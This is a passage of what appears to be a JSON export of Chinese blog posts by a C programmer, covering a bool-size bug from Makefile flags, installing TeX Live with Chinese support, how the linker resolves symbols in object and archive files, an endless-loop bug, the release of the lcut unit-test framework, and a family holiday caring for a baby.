…\n怎么对testall.c编译了两次呢？测试代码目录下的Makefile并没有包含第一个gcc命令啊，又翻了翻顶层目录下的Makefile，我找到了答案：原来顶层目录下的Makefile中采用了如下脚本：\nOBJ = $(SRC:.c=.o)\n${OBJ}: ${SRC}\n${CC} ${CFLAGS} -c ${SRC}\n脚本根据.c文件替换获得.o文件名，并在同名.o和.c间建立依赖，这样所有.c文件都会被先编译为.o文件。\n不过第一次编译的结果显然做了无用功，因为第二行命令执行后会覆盖第一行命令生成的.o文件。但恰恰第二行gcc命令中没有加入-std=c99的编译选项，导致testall.c这个编译单元中的bool使用了自定义的bool，导致了其长度为4个字节。\n真相终于大白，就是因为testall.c所在目录下的Makefile编写时忘记添加-std=c99选项才导致了上述的问题。又检查了一下其他的存放单元测试代码的目录，发现所有Makefile都存在此问题。以前在没有使用bool类型时这样的Makefile是不会有问题的，关键就是这次我们用了bool类型，问题才暴露出来。\n使用C语言，你就不得不常常与指针内存问题、编译器或链接器 问题做斗争，其中的痛苦你最清楚，但处理这些事的过程中所蕴含的快乐也只有你自己最能体会到。继续痛并快乐着吧！\n","permalink":"https://tonybai.com/2010/10/21/a-problem-caused-by-bool-type/","summary":"\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/C99\"\u003eC99\u003c/a\u003e 原生支持布尔类型，类型名字为_Bool。对C程序员来说，这个名字有些“不伦不类”，还好一般C标准库 实现的头文件中都用宏bool来替代_Bool。C99虽说是C语言当前的最新标准，但是它也有10年历史之久了。据说\u003ca href=\"http://en.wikipedia.org/wiki/C1X\"\u003eC1x标准\u003c/a\u003e 正在讨论制定中，有兴趣的朋友可以到\u003ca href=\"http://www.open-std.org/jtc1/sc22/wg14/\"\u003e标准C工作组\u003c/a\u003e 官方站点上去瞧瞧。\u003c/p\u003e","title":"由bool类型引发的一个问题"},{"content":"由于某种原因，上周末开始学习使用TeX进行文档排版。哦，当然不是直接使用Donald Knuth他老人家设计的最原始的TeX命令。经过这么多年的发展，TeX领域早已出现了各种各样基于TeX开发的层次更高、易用性更好、更加让作者关注内容的好工具。在Ubuntu下，我选择了\u0026quot;TeX Live\u0026quot;。\n周末的时间比较零碎(有了果果后，除了晚上外白天很难拿出一长段的时间钻研些东西了)，TeX Live安装和体验的过程也是一波三折。TeX Live支持多种安装方式，起初我选择了网络安装，但TeX Live的网络安装程序需要下载2000多个小文件，我的1M宽带实在是太慢，遂放弃。替代的是下载TeX Live的iso文件，这个iso居然有1.9G，着实让我吃惊不小。虽然只有一个.iso文件，但下载过程耗时估计与网络安装也没差多少。不知等待了多久，TeX Live 2010 iso终于下载完毕。安装步骤参考了网上的一些资料，大致是：\n1、安装perl-tk，TeX Live的图形化安装需要这个包的支持\nsudo apt-get install perl-tk\n2、挂载iso，执行安装程序\nsudo mount -o loop texlive2010.iso /cdrom\nsudo /cdrom/install-tl -gui\nTex Live包确很庞大，完全安装后要2.5个多G空间，无奈本子磁盘太小，需要对其做些裁减，在安装窗口中，点击\u0026quot;Language Collections\u0026quot;按钮，在打开的对话框中取消除中文和英文以外的所有语言包，另外相关文档也只要中英文的，其他语种的一概取消安装。这样才能节省几百M的空间。TeX Live的默认安装目录是\u0026quot;/usr/local/texlive\u0026quot;，我的根目录所剩可用空间已经不多了，不想将TeX Live安装到默认目录下，遂找了另外一个FAT32分区，建了一个texlive目录，修改了Tex Live的安装路径，点击“安装”。让人失望的是这次安装失败了，安装日志提示在操作某目标文件似乎没有某种权限，很是疑惑，命令前面已经sudo了，问题无法解决。将安装目录改回默认目录，再次尝试安装，这次倒是很顺利，安装后我的根目录下只剩下3G的空间了:(。\n哦，似乎还忘记了一点:\n在安装前务必将\u0026quot;创建指向系统目录的符号链接\u0026quot;这个选项置为\u0026quot;是/Yes\u0026quot;，这样安装程序会自动为你设置好各种TeX\nLive的环境变量，省去之后的很多麻烦。\n3、测试安装结果是否正确\nTeX Live的官方指南(通过texdoc\ntexlive-zh-cn打开)中给出了测试安装是否成功的步骤，这里就不赘述了。测试通过后，你将得到一份用Tex排版后的文档：sample2e.pdf，你可以同时打开sample2e.tex文件与sample2e.pdf做一下直观对比，了解一下各种语法宏的作用。\n如果你只是做纯英文文档的排版，那你大可到此为止，无须继续向下看了，因为后面要说的是如何让TeX Live支持中文。\nTeX Live支持中文排版的方式有多种，初学起来很容易被一堆概念和工具包名搞得晕头转向(直到目前，我也只是了解些皮毛)。这里固定选择一种方式：使用xelatex命令+xeCJK宏包组合。xelatex命令用来编译用LaTeX格式写成的tex文件，并支持Unicode编码以及直接访问系统字体。TeX Live 2010包中包含xelatex和xeCJK宏包，这样无须我们单独下载安装了。\n开始测试TeX的中文支持，下面是一个包含中文字符的tex源文件：\n%HelloTeX.tex\n\\documentclass{article}\n\\usepackage{xeCJK}\n\\setmainfont{SimSun}\n\\begin{document}\n你好，TeX！\n\\end{document}\n使用xelatex命令编译该tex文件 – xelatex HelloTeX.tex，执行结果如下：\n……\nOutput written on HelloTeX.pdf (1 page).\nTranscript written on HelloTeX.log.\nxelatex将tex直接转换为pdf格式输出，并将转换过程的log输出到HelloTeX.log中了。用文档查看器打开HelloTeX.pdf，发现中文字符显示为乱码，看来这次转换并未成功。打开HelloTeX.log尝试分析一下转换日志，发现有这样的错误信息：\nInvalid UTF-8 byte or sequence at line 5 replaced by U+FFFD.\nInvalid UTF-8 byte or sequence at line 5 replaced by U+FFFD.\nMissing character: There is no ? in font SimSun/ICU!\nMissing character: There is no ? in font SimSun/ICU!\nxelatex居然在HelloTeX.tex中发现了非法UTF-8字节！突然恍然大悟，我的VIM配置文件中将文件内码设置为GBK了，这样HelloTeX.tex的数据存储内码是GBK，而不是UTF-8，而xelatex似乎默认采用UTF-8分析.tex文件，不出错误才怪。\n临时修改.vimrc，重新编辑HelloTeX.tex（或用iconv将HelloTeX.tex从GBK编码转换为UTF-8编码），重新执行xelatex HelloTeX.tex，这回成功了，\u0026ldquo;你好，TeX！\u0026ldquo;被正确输出到pdf文件中了。\nxelatex应该也支持解析GBK内码文件才对，翻了翻网上资料，果不其然，通过增加一行\\XeTeXinputencoding\n\u0026ldquo;GBK\u0026quot;即可告知xelatex这个tex文件用的是GBK编码：\n%HelloTeX.tex\n\\documentclass{article}\n\\usepackage{xeCJK}\n\\XeTeXinputencoding \u0026ldquo;GBK\u0026rdquo;\n\\setmainfont{SimSun}\n\\begin{document}\n你好，TeX！\n\\end{document}\n在体验TeX Live期间还遇到了xelatex找不到系统字体(如SimSun)的情况，后发现我的系统的确没有安装这些字体，Ubuntu 10.04安装字体似乎很方便，将simsun.ttc从Windows系统的\u0026quot;系统盘\\Windows\\Fonts\u0026quot;目录中copy出一份放置到你的~/.fonts下面即可，然后你通过\u0026quot;fc-list :lang=zh-cn\u0026quot;命令查看系统已安装的字体列表，字体Copy前列表中没有SimSun，Copy结束后我们就发现SimSun的踪影了：\u0026ldquo;宋体,SimSun:style=Regular\u0026rdquo;。\n想用好TeX Live，不看Manual是不行的，如果你和我一样采用xelatex和xeCJK的组合，那么XeTex(texdoc xetex)和xeCJK(texdoc xeCJK)的Manual是必许要通读的。\n","permalink":"https://tonybai.com/2010/10/18/hello-tex/","summary":"\u003cp\u003e由于某种原因，上周末开始学习使用\u003ca href=\"http://en.wikipedia.org/wiki/TeX\"\u003eTeX\u003c/a\u003e进行文档排版。哦，当然不是直接使用\u003ca href=\"http://en.wikipedia.org/wiki/Donald_Knuth\"\u003eDonald Knuth\u003c/a\u003e他老人家设计的最原始的TeX命令。经过这么多年的发展，TeX领域早已出现了各种各样基于TeX开发的层次更高、易用性更好、更加让作者关注内容的好工具。在\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003eUbuntu\u003c/a\u003e下，我选择了\u0026quot;\u003ca href=\"http://tug.org/texlive/\"\u003eTeX Live\u003c/a\u003e\u0026quot;。\u003c/p\u003e","title":"你好，TeX"},{"content":"上午对一段代码进行单元测试，由于需要用到mock，所以选择使用cmockery\n作为Unit Testing框架(lcut还未提供mock功能)。测试代码里需要mock malloc以模拟分配内存失败的异常情况。\n编写一个用例后，Build，提示出错：multiple definition of `malloc\u0026rsquo;。经检查发现Makefile中定义mock malloc的那个目标文件(.o文件)居然被link了两次，类似于下面的这种错误情形：\n$ gcc testmain.c malloc.o malloc.o\nmalloc.o: In function `malloc\u0026rsquo;:\nmalloc.c:(.text+0×0): multiple definition of `malloc\u0026rsquo;\nmalloc.o:malloc.c:(.text+0×0): first defined here\ncollect2: ld returned 1 exit status\n去掉一个显式链接的malloc.o文件后Build顺利通过，运行该单元测试，程序dump core，对此很是疑惑！使用gdb查看core文件，很快发现了问题所在：因为cmockery本身也使用了malloc，但在链接过程中，cmockery库中的malloc符号被绑定到了malloc.c中的那个malloc实现上了，而我们mock的那个malloc在测试用例中又被设置返回NULL，这样非法地址访问就不足为奇了。\n对以上两个问题的理解或多或少都需要一些链接方面的知识，这里你可能会问到以下两个问题：\n1、C运行库(libc.a)是要被作为默认库隐式提供给ld程序做链接的，那么用自己实现的malloc替代C标准库中的malloc，链接器在链接时为什么没有检查出重定义？\n2、cmockery库中的malloc是如何绑定到我们自己实现的那个malloc上的呢？为什么不绑定到C运行库中的那个malloc？\n从问题内容我们也似乎可隐约推论出一点：那就是链接器对目标文件(.o)和归档文件(.a)的对待似乎是不同的。没错，的确是这样的。\n可执行程序是由一系列.o文件“合并”而成。以静态链接为例，.o文件集合中除了包含我们显式(.c-\u0026gt;.o)提供的.o文件外，还有从归档文件(.a)中提取出来的.o文件。这类.o文件是“按需”从.a中提取出来的，这也符合.a文件最初设计的初衷(减少可执行文件的size + 减少可执行文件load到内存后的内存占用)。\n我们用一个的例子来解释.o文件“按需”从.a中提取的过程，也顺便回答上面的两个问题。\n我们有三个源文件testmain.c、print.c和libprint.c，三个文件都很简单：\n/* testmain.c */\nextern void print();\nint main() {\nprint();\nreturn 0;\n}\n/* print.c */\n#include\nvoid print() {\nprintf(\u0026ldquo;print in object files\\n\u0026rdquo;);\n}\n/* libprint.c */\n#include\nvoid print() {\nprintf(\u0026ldquo;print in archive files\\n\u0026rdquo;);\n}\n我们将libprint.c构建为一个.a文件(gcc -c libprint.c; ar rcs libprint.a libprint.o)，用于模拟库中的符号。print.c中的print则是我们自定义函数，试图用来替换库中同名函数。\n执行gcc testmain.c print.c -L ./ -lprint，编译顺利通过。执行a.out，输出“print in object files”。显然testmain.c中的print调用被绑定到print.o中的print函数了。分析这个编译链接过程，我们就能回答上面的两个问题了。\n我们知道gcc只是一组gnu compile tools的外部名称，gcc像个指挥官，协调一系列tools去完成任务。其中链接是最后一环，ld的输入是.o文件和.a文件。以这个例子来说，最后一步执行的是ld testmain.o print.o -L ./ -lprint …..，其中…..代表的是默认传入的C运行库。链接器从左向右扫描命令行参数中的.o和.a，目的是确定最终.o集合以及为每个.o中的外部符号(引用了但是未在本.o文件中定义)确定具体定义的位置。\n链接器依从左到右顺序首先扫描testmain.o，将testmain.o加入到\u0026quot;最终.o文件集合\u0026quot;(初始该集合为空)，并发现testmain.o中引用了符号print，但却未定义，将该符号放到\u0026quot;undefined集合\u0026quot;中（初始\u0026quot;undefined集合\u0026quot;为空），另外testmain中还有一个符号main，与print不同，该符号为已定义的符号，同样链接器将之放到\u0026quot;defined集合\u0026quot;中(初始\u0026quot;defined集合\u0026quot;为空)。\n继续从左向右扫描，轮到print.o这个目标文件了。该文件中有一个已定义的符号print和一个引用但未定义的外部符号printf，链接器的处理过程是：发现print是当前\u0026quot;undefined集合\u0026quot;中的元素，将print从\u0026quot;undefined集合\u0026quot;中取出，放入\u0026quot;defined集合\u0026quot;中; printf因无法确定定义，放入\u0026quot;undefined集合\u0026quot;，print.o放入\u0026quot;最终.o文件集合\u0026quot;。\n继续向右扫描，遇到libprint.a。上面说过链接器对待.a与.o不同，.a中的符号是按需提取，这里的“按需”指的就是\u0026quot;undefined集合\u0026quot;中的符号。当前\u0026quot;undefined集合\u0026quot;中只有一个元素：printf，链接器尝试在libprint.a中查找printf的定义，未果。则链接器略过libprint.a，继续向右扫描。\n最后剩下的就是libc.a了，也就是默认传递的C运行库。libc.a中包含了成百上千个.o文件。但目前只剩下printf一个符号没有得到定义了，我们只需要libc.a中包含printf符号定义的那个.o文件，也就是print.o，链接器找到print.o后将print.o放入\u0026quot;最终.o文件集合\u0026quot;，将printf符号从\u0026quot;undefined集合\u0026quot;挪到\u0026quot;defined集合\u0026quot;中，此致\u0026quot;undefined集合\u0026quot;变为空集合了。也就说明这次链接是成功的。\n相信上面的两个问题通过这段过程描述已经可以被解释了。\n如果我们将构建语句写为:gcc testmain.c -L./ -lprint print.c会发生什么呢？我们看看执行结果：\n/tmp/ccSNKvLP.o: In function `print\u0026rsquo;:\nprint.c:(.text+0×0): multiple definition of `print\u0026rsquo;\n.//libprint.a(libprint.o):libprint.c:(.text+0×0): first defined here\ncollect2: ld returned 1 exit status\n出现重定义错误！不过有了之前的基础，这里的重定义也很好理解了。gcc testmain.c -L./ -lprint print.c执行到最后一步是ld testmain.o -L./ -lprint print.o ….; 链接器扫描完libprint.a后，print的符号已经从libprint.a中的libprint.o目标文件中被\u0026quot;按需\u0026quot;提取出来放入\u0026quot;defined集合\u0026quot;中了。接下来链接器扫描print.o居然又发现了一个名为print的全局定义的符号，与\u0026quot;defined集合\u0026quot;中冲突，ld自然就会报错。\n我们再来做点修改，构造一个稍微复杂些的例子：\n/* testmain.c */\nextern void do_print();\nint main() {\ndo_print();\nreturn 0;\n}\n/* print.c */\n#include\nvoid print() {\nprintf(\u0026ldquo;print in object files\\n\u0026rdquo;);\n}\n/* libprint.c */\n#include\nvoid print();\nvoid do_print() {\nprint();\n}\nvoid print() {\nprintf(\u0026ldquo;print in archive files\\n\u0026rdquo;);\n}\n在testmain.c中我们换作调用do_print了，do_print在libprint.a中有定义。执行gcc testmain.c print.c -L ./ -lprint，结果出错：\n.//libprint.a(libprint.o): In function `print\u0026rsquo;:\nlibprint.c:(.text+0xd): multiple definition of `print\u0026rsquo;\n/tmp/ccoWjHZS.o:print.c:(.text+0×0): first defined here\ncollect2: ld returned 1 exit status\n这回怎么又变成“重定义”了呢？我们来分析一下：\n*扫描testmain.o，\u0026ldquo;undefined集合\u0026quot;中有了符号do_print;\n*扫描print.o，\u0026ldquo;undefined集合\u0026quot;未变，\u0026ldquo;defined集合\u0026quot;中增加了print\n*碰到libprint.a，按照\u0026quot;按需\u0026quot;提取的原则，我们找到了do_print定义，\u0026ldquo;undefined集合\u0026quot;中的do_print被移到\u0026quot;defined集合\u0026rdquo;，libprint.a中的libprint.o被放置到\u0026quot;最终.o文件集合\u0026quot;中;与前面例子不同的是libprint.o中有两个符号do_print和print，作为\u0026quot;最终.o文件集合\u0026quot;中的一分子，libprint.o的地位与testmain.o和print.o是一致的，链接器需要扫描其全部内容，而不仅仅只是提取do_print，这样链接器又发现一个print的定义，与\u0026quot;defined集合\u0026quot;中的print符号重复，链接器报错！\n如果要进一步了解链接器相关内容的话，推荐阅读一下下面几本书籍：\n1、《链接器与加载器》\n2、《深入理解计算机系统》\n3、国人总结性质的大作《程序员的自我修养–链接、装载与库》\n","permalink":"https://tonybai.com/2010/10/11/start-with-mock-malloc/","summary":"\u003cp\u003e上午对一段代码进行单元测试，由于需要用到\u003ca href=\"http://tonybai.com/2008/04/12/mock-test-in-c-unit-test/\"\u003emock\u003c/a\u003e，所以选择使用\u003ca href=\"http://tonybai.com/2009/08/22/introduce-cmockery-for-c-unit-test/\"\u003ecmockery\u003c/a\u003e\u003cbr\u003e\n作为\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003eUnit Testing\u003c/a\u003e框架(\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003elcut\u003c/a\u003e还未提供mock功能)。测试代码里需要mock malloc以模拟分配内存失败的异常情况。\u003c/p\u003e\n\u003cp\u003e编写一个用例后，Build，提示出错：multiple definition of `malloc\u0026rsquo;。经检查发现Makefile中定义mock malloc的那个目标文件(.o文件)居然被link了两次，类似于下面的这种错误情形：\u003cbr\u003e\n$ gcc testmain.c malloc.o malloc.o\u003cbr\u003e\nmalloc.o: In function `malloc\u0026rsquo;:\u003cbr\u003e\nmalloc.c:(.text+0×0): multiple definition of `malloc\u0026rsquo;\u003cbr\u003e\nmalloc.o:malloc.c:(.text+0×0): first defined here\u003cbr\u003e\ncollect2: ld returned 1 exit status\u003c/p\u003e","title":"从mock malloc说起"},{"content":"自从LP上班后，果果一直由岳母照顾。带小孩子是一件很辛苦的差事，这个我和LP也十分清楚，这不这个十一假期我们让岳母回家歇息歇息^_^，这七天就由我和LP照顾果果。\n平时我和LP都是朝九晚五的作息，由于公司离家较远，我们下班到家基本上都是晚上六点以后了。我回家更晚，有时候到家时果果已经被哄睡着了。这样我们和果果在一起的时间实际上并不多，甚至对果果新近养成的一些习惯了解得都不多，一切还要慢慢适应。\n以前喂奶、添加辅食、把尿等都是岳母一个人包办，现在我和LP共同承担。之前果果每天的作息基本已经养成：\n1、早上6点果果睡醒，先把屎把尿;\n2、喂白水（\u0026lt;50ml，早起成人要喝杯白水，婴儿也不例外^_^）\n3、大约7点左右第一次喂奶（果果现在一次能喝180ml母乳，据说同龄男孩儿可以一次喝光240ml)。\n4、陪着果果玩耍，直到8点半左右，哄果果睡觉（白天果果每觉都比较短，大约半个小时）\n5、9点多果果睡醒，喂少量白水;\n6、10点左右添加第一遍辅食-半个鸡蛋黄（用水搅成泥状，吃完后补充点白水，防止噎着）\n7、11点左右第二次喂奶\n8、陪着果果玩耍，直到12点左右，哄果果睡觉（现在天气冷了，一般不带果果出去看大自然了，另外果果已经五个多月了，从母体中携带的免疫因子正在减少，也怕带果果出去着凉生病)\n9、12点半左右，果果睡醒，继续陪着她玩耍;\n10、下午1点半左右添加第二顿辅食-50ml果汁或鲜水果煮的水(因为果汁或鲜水果煮的水都很甜，所以果果很爱喝)。\n11、下午3点左右，第三次喂奶，一般果果吃完奶也会睡上一觉。\n12、3点半或4点多果果醒来，陪她玩耍半个小时，然后给果果洗澡。（果果特别爱洗澡）\n13、洗完澡的果果恢复了精力，能持续玩耍两个小时，到了晚上6点半或7点左右，第四次喂奶并哄果果睡觉。\n14、凌晨1点半或两点，果果醒一次，LP第五次给果果喂奶。\n15、果果一觉到天亮。\n国庆前三天是“适应期”-我们要适应果果的作息。刚刚从工作状态转换为长假休息状态，这个身体还是很疲惫的，所以前三天我和LP都感觉特“困”，甚至有时陪果果在床上玩耍时都能睡着。另外果果也着实“不老实”并且精力充沛得很，看什么都是新鲜的，争着去抓去拿。果果这个阶段还喜欢“啃”东西，只要能拿到她手里的，全部往嘴里塞。所以时刻都要看住果果，不能离人。 哄果果睡觉是最累人的。果果困的时候，显得很是烦躁，大声喊叫，躺在床上左翻右翻，抱起来后小脑瓜儿是左转右转。另外果果体重近17斤，如果哄上一段时间仍然不能将她哄睡着，那胳膊就会开始酸痛。还好有我和LP两个人，我们可以换着哄^_^。\n“适应期”过去后，一切变得自然了些，我和LP的体力也恢复了，白天也不感觉那么困倦了，带起果果来顺手多了。果果也适应了我们，之后家里更多的是果果的笑声和笑脸。不过给果果喂奶还是很费劲儿。果果一直吃母乳，LP白天上班将乳汁挤到专用的“母乳保鲜袋”里，再放到冰包里保存。回家放到冰箱里，留着果果白天用奶瓶喝。LP放假在家就不用这么麻烦了，果果可以直接吃母乳。不过不知道是不是果果习惯了奶瓶，这几天果果甚是不愿意直接吸母乳，除了半夜那次（果果夜里起来迷迷糊糊的，给什么都吃^_^）。这个问题让我们很是头疼，每次喂奶果果的大喊大叫又哭又闹的不愿意吃，直到换成奶瓶。\n今天是十一假期的第六天了，如果说带果果不累那是假的，真的很累，甚至感觉比上班还累。不过正如dutor所说，这里面的“幸福和快乐”也许只有我自己才能体会到^_^。当然LP她也能体会到，呵呵！\n","permalink":"https://tonybai.com/2010/10/06/tired-and-happy-on-this-national-day-vacation/","summary":"\u003cp\u003e自从LP上班后，\u003ca href=\"http://tonybai.com/2010/09/23/one-hundred-days-photos-of-my-daughter/\"\u003e果果\u003c/a\u003e一直由岳母照顾。带小孩子是一件很辛苦的差事，这个我和LP也十分清楚，这不这个十一假期我们让岳母回家歇息歇息^_^，这七天就由我和LP照顾果果。\u003c/p\u003e\n\u003cp\u003e平时我和LP都是朝九晚五的作息，由于公司离家较远，我们下班到家基本上都是晚上六点以后了。我回家更晚，有时候到家时果果已经被哄睡着了。这样我们和果果在一起的时间实际上并不多，甚至对果果新近养成的一些习惯了解得都不多，一切还要慢慢适应。\u003c/p\u003e","title":"这个十一累并快乐着"},{"content":"昨天看了“外刊IT评论”上的一篇名为《软件编程21法则》的文章，文章中提到的一条法则是：“软件直到被变成产品运行至少6个月后，它最严重的问题才会被发现”，当时表示认同。不过仅仅相隔一天，这条法则就变成了眼前的现实。\n今天上午我们的某版本系统在某省出现了故障，该版本在这个省上线恰好将近6个月^_^，系统上线以来一直运行良好，直到这次故障。故障现象为\u0026quot;挂死\u0026quot;:所有进程都挂死在某一把锁的lock上。以前出现这种情况多为某个进程加锁后，在锁内异常退出，未能释放锁而导致其他进程挂死。这种\u0026quot;挂死\u0026quot;多是代码中访问非法内存地址导致的，一般都会有core文件dump出来。不过这次出现挂死后，我们并未找到core文件的影子。查看系统运行日志也无果。通过脚本将所有该应用的子进程的运行栈快照收集到一个文件中，然后对这个数据庞大的文件进行分析，以试图找到一些蛛丝马迹。\n分析发现绝大多数子进程都挂起了，其运行栈栈顶多为：\nlwp_mutex_timedlock (f1444c28, 0)\n不过只有一个进程与众不同，它的栈顶是一个我们自己实现的函数，这里暂且称这个函数为foo_func吧。迅速查看foo_func的源码实现，发现一个while循环，第一时间想到:是不是foo_func进入while死循环了？在故障应用主机上用top查看一下系统运行状态，发现确有一个进程占用cpu很高，而且持续很高。pstack一下这个进程，栈顶端果真就是foo_func，“死循环”的推论是正确的。 即使这个进程死循环了，怎么会连累其他进程也停止工作了呢？原因就在于这个死循环是在这个子进程获得锁之后发生的，因为死循环了，导致无法释放这把锁，其他子进程干着急也无可奈何！\nfoo_func为何能进入死循环？仔细斟酌一下foo_func的代码也不难得出：代码中混用了int和unsigned char，导致数组下标值变为负数，数组访问溢出，读取到的值是随机值，所以死循环也是随机发生的（之前几个月运行都良好也是因为这个原因）。 C语言不是强类型的，int和unsigned char两个宽度不同的类型可以放在一起使用。C编译器帮你做隐式转换，转换规则虽不十分复杂（C99引入了rank概念后，转换规则略就显复杂了），但也很容易犯错，这也是我们常说的C陷阱之一。另外foo_func代码本身的功能逻辑也有漏洞，这里就不细说了。\n","permalink":"https://tonybai.com/2010/10/01/encounter-endless-loop/","summary":"\u003cp\u003e昨天看了“\u003ca href=\"http://www.aqee.net/\"\u003e外刊IT评论\u003c/a\u003e”上的一篇名为《\u003ca href=\"http://www.aqee.net/2010/09/30/21-laws-of-computer-programming/\"\u003e软件编程21法则\u003c/a\u003e》的文章，文章中提到的一条法则是：“软件直到被变成产品运行至少6个月后，它最严重的问题才会被发现”，当时表示认同。不过仅仅相隔一天，这条法则就变成了眼前的现实。\u003c/p\u003e\n\u003cp\u003e今天上午我们的某版本系统在某省出现了故障，该版本在这个省上线恰好将近6个月^_^，系统上线以来一直运行良好，直到这次故障。故障现象为\u0026quot;挂死\u0026quot;:所有进程都挂死在某一把锁的lock上。以前出现这种情况多为某个进程加锁后，在锁内异常退出，未能释放锁而导致其他进程挂死。这种\u0026quot;挂死\u0026quot;多是代码中\u003ca href=\"http://tonybai.com/2006/09/06/be-careful-of-the-trap-of-overflow/\"\u003e访问非法内存地址\u003c/a\u003e导致的，一般都会有core文件dump出来。不过这次出现挂死后，我们并未找到core文件的影子。查看系统运行日志也无果。通过脚本将所有该应用的子进程的运行栈快照收集到一个文件中，然后对这个数据庞大的文件进行分析，以试图找到一些蛛丝马迹。\u003c/p\u003e","title":"遭遇“死循环”"},{"content":"基于各种xUnit框架的单元测试早已不是什么新鲜玩意儿，不过在\u0026quot;古老\u0026quot;的C语言领域，还尚未有哪种框架可以成为“寡头”。\n记得2005年末的时候，初出茅庐的我吸取xUnit的设计思想在业余时间编写了一个轻量级的C单元测试框架lcut(Lightweight C Unit Test framework)，当时还写了一篇文章《C单元测试包设计与实现》记录了最初的设计和实现思路。本打算将这个小工具在部门内至少是项目内推广，可无奈当时部门内部尚未认识到使用框架工具进行单元测试的好处，或者尚未形成此种技术风气，当时的我也是“人轻言微”，因此这个小工具也没能吸引足够的眼球。这么长时间以来，都是我自己一直在使用，\n其间，lcut做了两次小规模修改。特别是最后一次修改，通过增加测试用例执行的返回状态(增加LCUT_TEST_RESULT()宏)，让lcut可以与一些持续集成工具（如cruisecontrol.rb)结合在一起使用。\n随着部门同事对单元测试认识度的提升，基于框架的单元测试也逐渐在组内执行开来，有人使用cmockery，有人使用CuTest，也有一些新同事参考以前我编写的代码开始使用lcut。中秋假期在家读完《The Passionate Programmer》(中文版名为:《我编程，我快乐-程序员职业规划之道》)后，颇有感触。这几天突然就有了把lcut发布出去的想法(咱不能总享用，不付出吧^_^)。\n发布出去前的准备工作还是蛮多的:\n* 挑选一个合适的开源项目托管平台\n以前是sourceforge一家独大，现在则有许多选择，主流的平台包括Google code、github、launchpad等，最终我选择了Google Code，其实也没有什么具体理由，只是因为一直都使用Google的产品，惯性使然。如果你之前已经拥有了Google的account，那么使用Google code就更加方便了。具体如何操作，Google Code有详细的官方manual供你查阅。\n* \u0026ldquo;美化\u0026quot;和包装代码\n发布出去之前，需要先对lcut代码进行一下\u0026quot;美化\u0026rdquo;，毕竟在家里显摆和在大庭广众下展示是有不同的。代码的格式最好能适应大多数人(或者是编辑器）的口味(比如将TAB换成空格)，可利用类似astyle这样的代码格式化工具按照配置号的规则对代码做一次全量格式化。另外由于要应对不同平台、不同OS，我们还要考虑代码的可移植问题，这方面我采用autoconf和automake重新编写了lcut的构建脚本。\n* 测试\n为了保证发布出去的包可用且是正确的，当然需要做测试了。构建测试、安装测试以及包本身的功能测试，这个还是很耗费精力的。lcut在Ubuntu 10.04(x86 32bit)和Solaris 10(x86 and Sparc)平台下都测试通过。\n* 文档\n头疼！lcut本身就没什么文档，另外考虑到一般对外发布都使用English编写文档，我就更纠结了。在目前发布的lcut-0.1.0版本中，文档确是欠缺的。要知lcut是如何使用的，可参考我上面提到的《C单元测试包设计与实现》或看src/example下的例子。\n* Roadmap\nlcut尽可能做到不是“发布后不管”，所以还要有Roadmap或是TODO计划。这里想到两点：一是补文档; 二是打算为lcut增加mock功能。\n明天就是国庆了，这里将lcut(http://code.google.com/p/lcut/)发布出来权当国庆献礼了，欢迎大家试用并提出宝贵意见和建议。\n","permalink":"https://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/","summary":"\u003cp\u003e基于各种\u003ca href=\"http://en.wikipedia.org/wiki/XUnit\"\u003exUnit\u003c/a\u003e框架的单元测试早已不是什么新鲜玩意儿，不过在\u0026quot;古老\u0026quot;的C语言领域，还尚未有哪种框架可以成为“寡头”。\u003c/p\u003e\n\u003cp\u003e记得2005年末的时候，初出茅庐的我吸取xUnit的设计思想在业余时间编写了一个轻量级的C单元测试框架\u003ca href=\"http://code.google.com/p/lcut/\"\u003elcut\u003c/a\u003e(Lightweight C Unit Test framework)，当时还写了一篇文章《\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003eC单元测试包设计与实现\u003c/a\u003e》记录了最初的设计和实现思路。本打算将这个小工具在部门内至少是项目内推广，可无奈当时部门内部尚未认识到使用框架工具进行单元测试的好处，或者尚未形成此种技术风气，当时的我也是“人轻言微”，因此这个小工具也没能吸引足够的眼球。这么长时间以来，都是我自己一直在使用，\u003cbr\u003e\n其间，lcut做了两次小规模修改。特别是最后一次修改，通过增加测试用例执行的返回状态(增加LCUT_TEST_RESULT()宏)，让lcut可以与一些持续集成工具（如\u003ca href=\"http://tonybai.com/2008/08/20/the-experience-of-cruisecontrol-rb/\"\u003ecruisecontrol.rb\u003c/a\u003e)结合在一起使用。\u003c/p\u003e","title":"发布一款轻量级C语言单元测试框架"},{"content":"部门绝大多数的产品都运行在Sun的小型机上，底层的操作系统是Solaris。这两年公司开始主推刀片机(物美价廉^_^)，不过刀片机上运行的也是Solaris 10 for x86版本。基于同种OS的前提下在Sparc和x86两种体系之间做移植比较简单，主要考虑字节序问题就可以了。不过对于可移植性的考虑不足还是让我们付出了较大的工作量。 在即将进行的新版本产品开发中，可移植性依旧没有被列入到必须要考虑实现的特性列表中，不过从未来产品演化和发展的角度考虑，现在就应该未雨绸缪，在可移植性方面多下工夫！\n对于用C语言实现的服务器后端程序而言，GNU(/\u0026lsquo;gnu:/)的autoconf和automake(GNU autotools工具包的主要组成部分)显然已经成为这方面的事实标准！诸多知名开源应用和工具都采用autoconf和automake来生成相关的Build环境，\u0026ldquo;configure -\u0026gt; make -\u0026gt; make install\u0026quot;是采用这两个工具的应用软件的标准编译安装流程。不过autoconf和automake的学习门槛却不低，记得几年前曾尝试学习过这两个工具，结果被其纷繁芜杂的依赖关系搞得晕头转向，加之当时缺少些许耐心，也就放弃了（估计很多人都有与我类似的经历^_^）。\nautoconf，顾名思义是用来做“自动配置”的，配置什么呢？配置软件代码包，目的是用来使软件包适应种类繁多的“Posix-like 